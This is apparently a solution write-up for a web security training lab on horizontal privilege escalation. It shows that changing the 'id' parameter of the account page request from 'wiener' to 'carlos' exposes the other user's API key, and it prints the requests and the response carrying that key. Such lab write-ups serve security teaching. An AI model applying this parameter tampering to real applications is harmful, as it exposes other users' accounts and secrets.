User ID Controlled by Request Parameter

Lab#

User ID controlled by request parameter · Apprentice

Solution#

Given#

This lab has a horizontal privilege escalation vulnerability on the user account page.

To solve the lab, obtain the API key for the user carlos and submit it as the solution.

You can log in to your own account using the following credentials: wiener:peter

Analyzing the task#

Looks like a very simple lab. We need to get the API key of user carlos. To do that we just have to change the user id passed to the route.

Recon#

Log in as our user, look at the requests:

GET /my-account?id=wiener

The API key is here. Change the parameter to ?id=carlos:

GET /my-account?id=carlos

<div id=account-content>
    <p>Your username is: carlos</p>
    <div>Your API Key is: mxH4cyoguaAAuo3kCtqzv1ySjfORtagJ</div>

Lab solved.